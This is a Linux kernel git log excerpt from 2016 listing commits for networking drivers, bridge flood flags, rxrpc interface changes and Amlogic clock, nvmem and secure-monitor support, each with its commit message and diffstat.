b9b17debc69d27cd55e21ee51a5ba7fc50a426cf Author: Timur Tabi Date: Wed Aug 31 18:22:08 2016 -0500 net: emac: emac gigabit ethernet controller driver Add support for the Qualcomm Technologies, Inc. EMAC gigabit Ethernet controller. This driver supports the following features: 1) Checksum offload. 2) Interrupt coalescing support. 3) SGMII phy. 4) phylib interface for external phy Based on original work by Niranjana Vishwanathapura Gilad Avidov Signed-off-by: Timur Tabi Signed-off-by: David S. Miller .../devicetree/bindings/net/qcom-emac.txt | 111 ++ MAINTAINERS | 6 + drivers/net/ethernet/qualcomm/Kconfig | 12 + drivers/net/ethernet/qualcomm/Makefile | 2 + drivers/net/ethernet/qualcomm/emac/Makefile | 7 + drivers/net/ethernet/qualcomm/emac/emac-mac.c | 1528 ++++++++++++++++++++ drivers/net/ethernet/qualcomm/emac/emac-mac.h | 248 ++++ drivers/net/ethernet/qualcomm/emac/emac-phy.c | 204 +++ drivers/net/ethernet/qualcomm/emac/emac-phy.h | 33 + drivers/net/ethernet/qualcomm/emac/emac-sgmii.c | 721 +++++++++ drivers/net/ethernet/qualcomm/emac/emac-sgmii.h | 24 + drivers/net/ethernet/qualcomm/emac/emac.c | 743 ++++++++++ drivers/net/ethernet/qualcomm/emac/emac.h | 335 +++++ 13 files changed, 3974 insertions(+) commit 04bed1434df256b07e78fa5deae848bba18a90f3 Author: Vivien Didelot Date: Wed Aug 31 18:06:13 2016 -0400 net: dsa: remove ds_to_priv Access the priv member of the dsa_switch structure directly, instead of having an unnecessary helper. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 42 +++++++++++------------ drivers/net/dsa/bcm_sf2.h | 2 +- drivers/net/dsa/mv88e6060.c | 4 +-- drivers/net/dsa/mv88e6xxx/chip.c | 72 ++++++++++++++++++++-------------------- include/net/dsa.h | 5 --- 5 files changed, 60 insertions(+), 65 deletions(-) commit eb97027f0789bd6dcfa088b66de0c287dc4ff57a Merge: 2c07d5a c566538 Author: Dave Airlie Date: Fri Sep 2 15:50:51 2016 +1000 Merge tag 'tilcdc-4.9-fixes' of https://github.com/jsarha/linux into drm-next tilcdc fixes for v4.9 * tag 'tilcdc-4.9-fixes' of https://github.com/jsarha/linux: drm/tilcdc: Choose console BPP that supports RGB drm/tilcdc: Add blue-and-red-crossed devicetree property drm/tilcdc: Write DMA base and ceiling address with single instruction drm/tilcdc: Remove drm_helper_disable_unused_functions() call drm/tilcdc: Enable EOF interrupts for v1 LCDC drm/tilcdc: Adjust the FB_CEILING address drm/tilcdc: Fix check for remote port parent commit 2c07d5a8b827364af27df4bd6e669705d182be12 Merge: 2b2fd56 67f1369 Author: Dave Airlie Date: Fri Sep 2 15:50:19 2016 +1000 Merge tag 'drm-vc4-next-2016-08-29' of https://github.com/anholt/linux into drm-next This pull request brings in interlaced vblank timing and a 3D rendering memory/CPU overhead reduction. * tag 'drm-vc4-next-2016-08-29' of https://github.com/anholt/linux: drm/vc4: Don't force new binner overflow allocation per draw. drm/vc4: Enable/Disable vblanks properly in crtc en/disable. drm/vc4: Enable precise vblank timestamping for interlaced modes. drm/vc4: Reject doublescan modes. drm/vc4: Fix handling of interlaced video modes. drm/vc4: Disallow interlaced modes on DPI. commit 278ed676cf453ee41fe1882f872e0ec2741ee191 Merge: d297653 b6cb5ac Author: David S. Miller Date: Thu Sep 1 22:48:33 2016 -0700 Merge branch 'br-next' Nikolay Aleksandrov says: ==================== net: bridge: add per-port unknown multicast flood control The first patch prepares the forwarding path by having the exact packet type passed down so we can later filter based on it and the per-port unknown mcast flood flag introduced in the second patch. It is similar to how the per-port unknown unicast flood flag works. Nice side-effects of patch 01 are the slight reduction of tests in the fast-path and a few minor checkpatch fixes. v3: don't change br_auto_mask as that will change user-visible behaviour v2: make pkt_type an enum as per Stephen's comment ==================== Acked-by: Stephen Hemminger Signed-off-by: David S. Miller commit b6cb5ac8331b6bcfe9ce38c7f7f58db6e1d6270a Author: Nikolay Aleksandrov Date: Wed Aug 31 15:36:52 2016 +0200 net: bridge: add per-port multicast flood flag Add a per-port flag to control the unknown multicast flood, similar to the unknown unicast flood flag and break a few long lines in the netlink flag exports. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller include/linux/if_bridge.h | 1 + include/uapi/linux/if_link.h | 1 + net/bridge/br_forward.c | 3 +++ net/bridge/br_if.c | 2 +- net/bridge/br_netlink.c | 12 +++++++++--- net/bridge/br_sysfs_if.c | 1 + 6 files changed, 16 insertions(+), 4 deletions(-) commit 8addd5e7d3a5c118a214a7794ae299787198aa25 Author: Nikolay Aleksandrov Date: Wed Aug 31 15:36:51 2016 +0200 net: bridge: change unicast boolean to exact pkt_type Remove the unicast flag and introduce an exact pkt_type. That would help us for the upcoming per-port multicast flood flag and also slightly reduce the tests in the input fast path. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller net/bridge/br_device.c | 8 ++++---- net/bridge/br_forward.c | 4 ++-- net/bridge/br_input.c | 40 +++++++++++++++++++++++++--------------- net/bridge/br_private.h | 7 ++++++- 4 files changed, 37 insertions(+), 22 deletions(-) commit aee6598748335794dc25d7c4f16f0d4801f6b584 Author: Toshi Kani Date: Tue Aug 16 13:08:40 2016 -0600 libnvdimm: Fix nvdimm_probe error on NVDIMM-N 'ndctl list --buses --dimms' does not list any NVDIMM-Ns since they are considered as idle. ndctl checks if any driver is attached to nmem device. nvdimm_probe() always fails in nvdimm_init_nsarea() since NVDIMM-Ns do not implement optinal ND_CMD_GET_CONFIG_DATA command. Change nvdimm_probe() to accept the case that the CONFIG_DATA command is not implemented for NVDIMM-Ns. The driver attaches without ndd, which keeps it no-op to the device. Reported-by: Brian Boylston Signed-off-by: Toshi Kani Cc: Dan Williams Tested-by: Johannes Thumshirn Acked-by: Johannes Thumshirn Signed-off-by: Dan Williams drivers/nvdimm/dimm.c | 11 +++++++++++ drivers/nvdimm/dimm_devs.c | 28 +++++++++++++++------------- drivers/nvdimm/nd.h | 1 + 3 files changed, 27 insertions(+), 13 deletions(-) commit ae551e9ca289762c63a6a139872a63dd66183209 Author: Geert Uytterhoeven Date: Wed Aug 31 11:45:25 2016 +0200 nvdimm: Spelling s/unacknoweldged/unacknowledged/ Signed-off-by: Geert Uytterhoeven Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 231bf117aada289023fd6f3377461ce80792e273 Author: Dan Williams Date: Mon Aug 22 19:23:25 2016 -0700 tools/testing/nvdimm: unit test for acpi_nvdimm_notify() Trigger an nmemX/nfit/flags attribute to fire an event whenever a smart-threshold DSM is received. Reviewed-by: Vishal Verma Acked-by: Rafael J. Wysocki Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 10 ++++++--- drivers/acpi/nfit/nfit.h | 1 + tools/testing/nvdimm/test/nfit.c | 45 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 3 deletions(-) commit e31a1900c1ff73d669408fc3243afb5c55863139 Author: Alexander Müller Date: Sat Aug 27 19:40:54 2016 +0200 meson: clk: Add support for clock gates This patch adds support for the meson8b clock gates. Most of them are disabled by Amlogic U-Boot, but need to be enabled for ethernet, USB and many other components. Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-7-git-send-email-serveralex@gmail.com drivers/clk/meson/meson8b.c | 249 ++++++++++++++++++++++++++++++++++++++++++++ drivers/clk/meson/meson8b.h | 5 + 2 files changed, 254 insertions(+) commit 7ba64d82b35890afa40e7cd6837e657b6185b389 Author: Alexander Müller Date: Sat Aug 27 19:40:53 2016 +0200 gxbb: clk: Adjust MESON_GATE macro to be shared with meson8b The macro used gxbb_ prefix for clock definitions. In order to share the macro between gxbb and meson8b, the prefix must be moved to gxbb.c. Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-6-git-send-email-serveralex@gmail.com drivers/clk/meson/clkc.h | 2 +- drivers/clk/meson/gxbb.c | 168 +++++++++++++++++++++++------------------------ 2 files changed, 85 insertions(+), 85 deletions(-) commit 0f32e64b22ab696c50b18afcb428906fbf0308ba Author: Alexander Müller Date: Sat Aug 27 19:40:52 2016 +0200 clk: meson: Copy meson8b CLKID defines to private header file Only expose future CLKID constants if necessary. This patch removes CLK_NR_CLKS from the DT bindings but leaves all previously defined CLKIDs there to keep backward compatibility. Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-5-git-send-email-serveralex@gmail.com drivers/clk/meson/meson8b.c | 1 - drivers/clk/meson/meson8b.h | 107 +++++++++++++++++++++++++++++++ include/dt-bindings/clock/meson8b-clkc.h | 2 - 3 files changed, 107 insertions(+), 3 deletions(-) commit e0818a3960418bfef1bbc120bfe8346ff9f3c5c7 Author: Alexander Müller Date: Sat Aug 27 19:40:51 2016 +0200 meson: clk: Rename register names according to Amlogic datasheet Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-4-git-send-email-serveralex@gmail.com drivers/clk/meson/meson8b.c | 26 +++++++++++++------------- drivers/clk/meson/meson8b.h | 11 +++++------ 2 files changed, 18 insertions(+), 19 deletions(-) commit d0c175da68d7e8f6b52b9fcaffae1d73d51a8655 Author: Alexander Müller Date: Sat Aug 27 19:40:50 2016 +0200 meson: clk: Move register definitions to meson8b.h Move the register definitions into a separate header file to reflect the gxbb implementation. Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-3-git-send-email-serveralex@gmail.com drivers/clk/meson/meson8b.c | 17 +---------------- drivers/clk/meson/meson8b.h | 40 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 16 deletions(-) commit 23353817f85934528d056541894c70346c3822b3 Author: Alexander Müller Date: Sat Aug 27 19:40:49 2016 +0200 clk: meson: Rename meson8b-clkc.c to reflect gxbb naming convention Signed-off-by: Alexander Müller Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1472319654-59048-2-git-send-email-serveralex@gmail.com drivers/clk/meson/Makefile | 2 +- drivers/clk/meson/meson8b-clkc.c | 447 --------------------------------------- drivers/clk/meson/meson8b.c | 447 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 448 insertions(+), 448 deletions(-) commit 1bf13f4825ff0816d04dfdddbc45db120f1299b7 Merge: 33608dc 718cc4b Author: Michael Turquette Date: Thu Sep 1 17:31:33 2016 -0700 Merge remote-tracking branch 'clk/clk-meson-gxbb-ao' into clk-meson-gxbb commit d297653dd6f07afbe7e6c702a4bcd7615680002e Author: Roopa Prabhu Date: Tue Aug 30 21:56:45 2016 -0700 rtnetlink: fdb dump: optimize by saving last interface markers fdb dumps spanning multiple skb's currently restart from the first interface again for every skb. This results in unnecessary iterations on the already visited interfaces and their fdb entries. In large scale setups, we have seen this to slow down fdb dumps considerably. On a system with 30k macs we see fdb dumps spanning across more than 300 skbs. To fix the problem, this patch replaces the existing single fdb marker with three markers: netdev hash entries, netdevs and fdb index to continue where we left off instead of restarting from the first netdev. This is consistent with link dumps. In the process of fixing the performance issue, this patch also re-implements fix done by commit 472681d57a5d ("net: ndo_fdb_dump should report -EMSGSIZE to rtnl_fdb_dump") (with an internal fix from Wilson Kok) in the following ways: - change ndo_fdb_dump handlers to return error code instead of the last fdb index - use cb->args strictly for dump frag markers and not error codes. This is consistent with other dump functions. Below results were taken on a system with 1000 netdevs and 35085 fdb entries: before patch: $time bridge fdb show | wc -l 15065 real 1m11.791s user 0m0.070s sys 1m8.395s (existing code does not return all macs) after patch: $time bridge fdb show | wc -l 35085 real 0m2.017s user 0m0.113s sys 0m1.942s Signed-off-by: Roopa Prabhu Signed-off-by: Wilson Kok Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qlcnic/qlcnic_main.c | 7 +- drivers/net/vxlan.c | 14 ++- include/linux/netdevice.h | 4 +- include/linux/rtnetlink.h | 2 +- include/net/switchdev.h | 4 +- net/bridge/br_fdb.c | 23 ++--- net/bridge/br_private.h | 2 +- net/core/rtnetlink.c | 105 ++++++++++++++--------- net/switchdev/switchdev.c | 10 +-- 9 files changed, 98 insertions(+), 73 deletions(-) commit 66fdd05e7a85564f86d9b220de946aa98e8bc048 Author: Gao Feng Date: Wed Aug 31 11:16:22 2016 +0800 rps: flow_dissector: Add the const for the parameter of flow_keys_have_l4 Add the const for the parameter of flow_keys_have_l4 for the readability. Signed-off-by: Gao Feng Signed-off-by: David S. Miller include/net/flow_dissector.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d001648ec7cf8b21ae9eec8b9ba4a18295adfb14 Author: David Howells Date: Tue Aug 30 20:42:14 2016 +0100 rxrpc: Don't expose skbs to in-kernel users [ver #2] Don't expose skbs to in-kernel users, such as the AFS filesystem, but instead provide a notification hook the indicates that a call needs attention and another that indicates that there's a new call to be collected. This makes the following possibilities more achievable: (1) Call refcounting can be made simpler if skbs don't hold refs to calls. (2) skbs referring to non-data events will be able to be freed much sooner rather than being queued for AFS to pick up as rxrpc_kernel_recv_data will be able to consult the call state. (3) We can shortcut the receive phase when a call is remotely aborted because we don't have to go through all the packets to get to the one cancelling the operation. (4) It makes it easier to do encryption/decryption directly between AFS's buffers and sk_buffs. (5) Encryption/decryption can more easily be done in the AFS's thread contexts - usually that of the userspace process that issued a syscall - rather than in one of rxrpc's background threads on a workqueue. (6) AFS will be able to wait synchronously on a call inside AF_RXRPC. To make this work, the following interface function has been added: int rxrpc_kernel_recv_data( struct socket *sock, struct rxrpc_call *call, void *buffer, size_t bufsize, size_t *_offset, bool want_more, u32 *_abort_code); This is the recvmsg equivalent. It allows the caller to find out about the state of a specific call and to transfer received data into a buffer piecemeal. afs_extract_data() and rxrpc_kernel_recv_data() now do all the extraction logic between them. They don't wait synchronously yet because the socket lock needs to be dealt with. Five interface functions have been removed: rxrpc_kernel_is_data_last() rxrpc_kernel_get_abort_code() rxrpc_kernel_get_error_number() rxrpc_kernel_free_skb() rxrpc_kernel_data_consumed() As a temporary hack, sk_buffs going to an in-kernel call are queued on the rxrpc_call struct (->knlrecv_queue) rather than being handed over to the in-kernel user. To process the queue internally, a temporary function, temp_deliver_data() has been added. This will be replaced with common code between the rxrpc_recvmsg() path and the kernel_rxrpc_recv_data() path in a future patch. Signed-off-by: David Howells Signed-off-by: David S. Miller Documentation/networking/rxrpc.txt | 72 +++--- fs/afs/cmservice.c | 142 ++++++------ fs/afs/fsclient.c | 148 ++++++------- fs/afs/internal.h | 33 +-- fs/afs/rxrpc.c | 439 +++++++++++++------------------------ fs/afs/vlclient.c | 7 +- include/net/af_rxrpc.h | 35 +-- net/rxrpc/af_rxrpc.c | 29 +-- net/rxrpc/ar-internal.h | 23 +- net/rxrpc/call_accept.c | 13 +- net/rxrpc/call_object.c | 5 +- net/rxrpc/conn_event.c | 1 - net/rxrpc/input.c | 10 +- net/rxrpc/output.c | 2 +- net/rxrpc/recvmsg.c | 191 +++++++++++++--- net/rxrpc/skbuff.c | 1 - 16 files changed, 565 insertions(+), 586 deletions(-) commit 95ac3994514015823634ef1f7116dce24f26aa97 Author: Bhaktipriya Shridhar Date: Tue Aug 30 22:02:47 2016 +0530 net: pegasus: Remove deprecated create_singlethread_workqueue The workqueue "pegasus_workqueue" queues a single work item per pegasus instance and hence it doesn't require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure since it's a network driver. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Acked-by: Petko Manolov Signed-off-by: David S. Miller drivers/net/usb/pegasus.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f9f225ebf54992dd52fea198d32a329e7fab6eb6 Author: Bhaktipriya Shridhar Date: Tue Aug 30 22:02:01 2016 +0530 bonding: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set, replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "wq" queues multiple work items viz &bond->mcast_work, &nnw->work, &bond->mii_work, &bond->arp_work, &bond->alb_work, &bond->mii_work, &bond->ad_work, &bond->slave_arr_work which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. Since, it is a network driver, WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: David S. Miller drivers/net/bonding/bond_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 34c7b3ac4ccb6a972f81a4102c8ef216ca1fb155 Author: Julia Lawall Date: Wed Aug 31 10:05:25 2016 +0200 rtc: constify rtc_class_ops structures Check for rtc_class_ops structures that are only passed to devm_rtc_device_register, rtc_device_register, platform_device_register_data, all of which declare the corresponding parameter as const. Declare rtc_class_ops structures that have these properties as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct rtc_class_ops i@p = { ... }; @ok@ identifier r.i; expression e1,e2,e3,e4; position p; @@ ( devm_rtc_device_register(e1,e2,&i@p,e3) | rtc_device_register(e1,e2,&i@p,e3) | platform_device_register_data(e1,e2,e3,&i@p,e4) ) @bad@ position p != {r.p,ok.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct rtc_class_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Baruch Siach Acked-by: Hans Ulli Kroll Acked-by: Linus Walleij Acked-by: Thierry Reding Signed-off-by: Alexandre Belloni drivers/rtc/rtc-at32ap700x.c | 2 +- drivers/rtc/rtc-coh901331.c | 2 +- drivers/rtc/rtc-davinci.c | 2 +- drivers/rtc/rtc-digicolor.c | 2 +- drivers/rtc/rtc-ds1302.c | 2 +- drivers/rtc/rtc-gemini.c | 2 +- drivers/rtc/rtc-jz4740.c | 2 +- drivers/rtc/rtc-mcp795.c | 2 +- drivers/rtc/rtc-mt6397.c | 2 +- drivers/rtc/rtc-nuc900.c | 2 +- drivers/rtc/rtc-omap.c | 2 +- drivers/rtc/rtc-palmas.c | 2 +- drivers/rtc/rtc-pcf50633.c | 2 +- drivers/rtc/rtc-rx6110.c | 2 +- drivers/rtc/rtc-rx8025.c | 2 +- drivers/rtc/rtc-spear.c | 2 +- drivers/rtc/rtc-stmp3xxx.c | 2 +- drivers/rtc/rtc-tegra.c | 2 +- drivers/rtc/rtc-twl.c | 2 +- 19 files changed, 19 insertions(+), 19 deletions(-) commit bfe59f92d30613398997f235dbae623583d61b38 Author: Carlo Caione Date: Sat Aug 27 15:43:48 2016 +0200 ARM64: dts: amlogic: gxbb: Enable NVMEM Add the NVMEM device node in the DTSI. Signed-off-by: Carlo Caione [khilman: dropped driver cleanup hunk] Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 56e9c4a6c1208210ef541bedaa9d6531f6e279ee Author: Carlo Caione Date: Sat Aug 27 15:43:47 2016 +0200 documentation: Add nvmem bindings documentation This patch add the bindings document of Amlogic eFuse driver. Acked-by: Rob Herring Acked-by: Srinivas Kandagatla Signed-off-by: Carlo Caione Signed-off-by: Kevin Hilman .../devicetree/bindings/nvmem/amlogic-efuse.txt | 39 ++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit f1a095b96d56402f84ef381121dd72afabd6312e Author: Carlo Caione Date: Sat Aug 27 15:43:45 2016 +0200 ARM64: dts: amlogic: gxbb: Enable secure monitor Add the secure monitor node in the Amlogic Meson GXBB DTSI file to enable it. Signed-off-by: Carlo Caione Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit d263393ee3c2f0a1883d343af12d574760d50a8c Author: Carlo Caione Date: Sat Aug 27 15:43:44 2016 +0200 documentation: Add secure monitor bindings documentation Add the binding documentation for the Amlogic secure monitor driver. Acked-by: Rob Herring Signed-off-by: Carlo Caione Signed-off-by: Kevin Hilman .../devicetree/bindings/firmware/meson/meson_sm.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit f03faf31ea0a6c5aaff38b9c38f5504a962ffb72 Author: Kevin Hilman Date: Thu Sep 1 15:26:56 2016 -0700 ARM64: dts: meson-gxbb: Add PWM pinctrl nodes Add DT nodes for PWMs in EE and AO domains. Acked-by: Linus Walleij Signed-off-by: Neil Armstrong arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 77 +++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) commit ae89ed79ae9d1c3e9ed2a3cd861e2f7416d1a9f6 Author: Martin Blumenstingl Date: Sat Aug 20 11:54:24 2016 +0200 ARM64: dts: meson-gxbb: Enable the the IR decoder on supported boards Enable the Infrared Remote Controller on boards which have an Infrared receiver. Signed-off-by: Martin Blumenstingl Tested-by: Neil Armstrong Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb-odroidc2.dts | 5 +++++ arch/arm64/boot/dts/amlogic/meson-gxbb-p20x.dtsi | 5 +++++ arch/arm64/boot/dts/amlogic/meson-gxbb-vega-s95.dtsi | 6 ++++++ 3 files changed, 16 insertions(+) commit c58d77855f0069b51f28592a07d1c0f0ca091052 Author: Neil Armstrong Date: Sat Aug 20 11:54:23 2016 +0200 ARM64: dts: meson-gxbb: Add Infrared Remote Controller decoder This adds the Infrared Remote Controller node so boards with an IR remote can simply enable it. Signed-off-by: Neil Armstrong Signed-off-by: Martin Blumenstingl Tested-by: Neil Armstrong Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit e3ee59f63698c919c6f54deaa0e5678912f1940b Author: Neil Armstrong Date: Sat Aug 20 11:54:21 2016 +0200 dt-bindings: media: meson-ir: Add Meson8b and GXBB compatible strings New bindings are needed as the register layout on the newer platforms is slightly different compared to Meson6b. Signed-off-by: Neil Armstrong Signed-off-by: Martin Blumenstingl Acked-by: Rob Herring Tested-by: Neil Armstrong Signed-off-by: Kevin Hilman Documentation/devicetree/bindings/media/meson-ir.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 9bfd6329333a0430799ca7d2e1e2087fe3d0feec Author: Kevin Hilman Date: Thu Sep 1 15:26:13 2016 -0700 ARM64: dts: amlogic: add the input pin for the IR remote Signed-off-by: Martin Blumenstingl Tested-by: Neil Armstrong Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 8d298f5b8eb2a81dc42690548df1b0737d351c4b Author: Neil Armstrong Date: Thu Aug 18 12:08:48 2016 +0200 ARM64: dts: meson-gxbb: Add GXBB AO Clock and Reset node Add the AO clock controller node for the AmLogic GXBB SoC. Signed-off-by: Neil Armstrong Acked-by: Linus Walleij Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit c7820b9b35078742d53e95d22bc63014f25d380d Merge: c3929b7 718cc4b Author: Kevin Hilman Date: Thu Sep 1 15:00:34 2016 -0700 Merge branch 'clk-meson-gxbb-ao' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux into v4.8/dt64 * 'clk-meson-gxbb-ao' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: meson: Fix invalid use of sizeof in gxbb_aoclkc_probe() clk: meson: Add GXBB AO Clock and Reset controller driver dt-bindings: clock: reset: Add GXBB AO Clock and Reset Bindings commit ad855eae6caf0d1dd17bce5bcd8e07759adc9903 Author: Carlo Caione Date: Sat Aug 27 15:43:46 2016 +0200 nvmem: amlogic: Add Amlogic Meson EFUSE driver Add Amlogic EFUSE driver to access hardware data like ethernet address, serial number or IDs. Acked-by: Srinivas Kandagatla Signed-off-by: Carlo Caione Signed-off-by: Kevin Hilman drivers/nvmem/Kconfig | 10 +++++ drivers/nvmem/Makefile | 2 + drivers/nvmem/meson-efuse.c | 93 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 105 insertions(+) commit 2c4ddb215521d5dfb30f72123ef966ac6bdd16d7 Author: Carlo Caione Date: Sat Aug 27 15:43:43 2016 +0200 firmware: Amlogic: Add secure monitor driver Introduce a driver to provide calls into secure monitor mode. In the Amlogic SoCs these calls are used for multiple reasons: access to NVMEM, set USB boot, enable JTAG, etc... Acked-by: Mark Rutland Signed-off-by: Carlo Caione [khilman: add in SZ_4K cleanup] Signed-off-by: Kevin Hilman drivers/firmware/Kconfig | 1 + drivers/firmware/Makefile | 1 + drivers/firmware/meson/Kconfig | 9 ++ drivers/firmware/meson/Makefile | 1 + drivers/firmware/meson/meson_sm.c | 248 ++++++++++++++++++++++++++++++++ include/linux/firmware/meson/meson_sm.h | 31 ++++ 6 files changed, 291 insertions(+) commit f4b63ea08fd9e8f9fbf9e45b5921114a0514ef76 Author: stephen hemminger Date: Mon Aug 29 10:16:37 2016 -0700 sky2: use napi_complete_done Update the sky2 driver to pass number of packets done to NAPI. The driver was never updated when napi_complete_done was added. Signed-off-by: Stephen Hemminger Acked-by: Eric Dumazet Signed-off-by: David S. Miller drivers/net/ethernet/marvell/sky2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f5bb341e1d1af7722a73fa8c96ca8c9a91f85e5b Author: stephen hemminger Date: Wed Aug 31 23:24:41 2016 -0700 l2tp: make nla_policy const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/l2tp/l2tp_netlink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4f70c96ffd184efabadc322efe6142fe3cd77f27 Author: stephen hemminger Date: Wed Aug 31 15:21:37 2016 -0700 tcp: make nla_policy const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/ipv4/tcp_metrics.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6501f34ff702d5edb0f3c6fb5170b852350ba8cb Author: stephen hemminger Date: Wed Aug 31 15:20:51 2016 -0700 ila: make nla_policy const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/ipv6/ila/ila_lwt.c | 2 +- net/ipv6/ila/ila_xlat.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 3f18ff2b42b95d57df79af50f1149d698e699c0e Author: stephen hemminger Date: Wed Aug 31 15:19:37 2016 -0700 fou: make nla_policy const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/ipv4/fou.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ee5256da092a4047e54dc36e4d6d45ca49652a6 Author: stephen hemminger Date: Wed Aug 31 15:17:49 2016 -0700 netns: make nla_policy const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/core/net_namespace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit deeb91f59dbcdcb8044c6109b3d7b11448d9a72d Author: stephen hemminger Date: Wed Aug 31 15:17:00 2016 -0700 batman: make netlink attributes const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/batman-adv/netlink.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 85bae4bd8ae0a198dd26cca4673b67531ca10923 Author: stephen hemminger Date: Wed Aug 31 15:15:23 2016 -0700 drop_monitor: make genl_multicast_group const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/core/drop_monitor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 12d8de6d952372102db2faedd19913dbfa883c5d Author: stephen hemminger Date: Wed Aug 31 15:22:00 2016 -0700 net: make genetlink ctrl ops const Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/netlink/genetlink.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5a25634719f45ad36911f6a2e74259d437ebe535 Merge: ce927bf f9a0968 Author: David S. Miller Date: Thu Sep 1 14:03:40 2016 -0700 Merge branch 'stmmac-STM32F429' Alexandre TORGUE says: ==================== Add Ethernet support on STM32F429 STM32F429 Chip embeds a Synopsys 3.50a MAC IP. This series enhance current stmmac driver to control it (code already available) and adds basic glue for STM32F429 chip. Changes since v5: -Fix typo in bindings documentation patch. -Change clocks names in stm32-dwmac glue driver / Documentation. -After rebase, stm32 ethernet node is now available. It has to be updated according to new clocks names. Changes since v4: -Fix dirty copy/past in bindings documentation patch. Changes since v3: -Fix "tx-clk" and "rx-clk" as required clocks. Driver and bindings are modified. Changes since v2: -Fix alphabetic order in Kconfig and Makefile. -Improve code according to Joachim review. -Binding: remove useless entry. Changes since v1: -Fix Kbuild issue in Kconfig. -Remove init/exit callbacks. Suspend/Resume and remove driver is no more driven in stmmac_pltfr but directly in dwmac-stm32 glue driver. -Take into account Joachim review. ==================== Signed-off-by: David S. Miller commit f9a09687a87887d1330dd5e5d08d9d7b3d209fb2 Author: Alexandre TORGUE Date: Mon Aug 29 18:23:40 2016 +0200 net: ethernet: stmmac: add support of Synopsys 3.50a MAC IP Adds support of Synopsys 3.50a MAC IP in stmmac driver. Acked-by: Giuseppe Cavallaro Tested-by: Maxime Coquelin Signed-off-by: Alexandre TORGUE Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_platform.c | 1 + 1 file changed, 1 insertion(+) commit 99abf9d6641e7857df67faa2ff7e4044cdea9683 Author: Alexandre TORGUE Date: Mon Aug 29 18:23:39 2016 +0200 Documentation: Bindings: Add STM32 DWMAC glue Acked-by: Rob Herring Signed-off-by: Alexandre TORGUE Signed-off-by: David S. 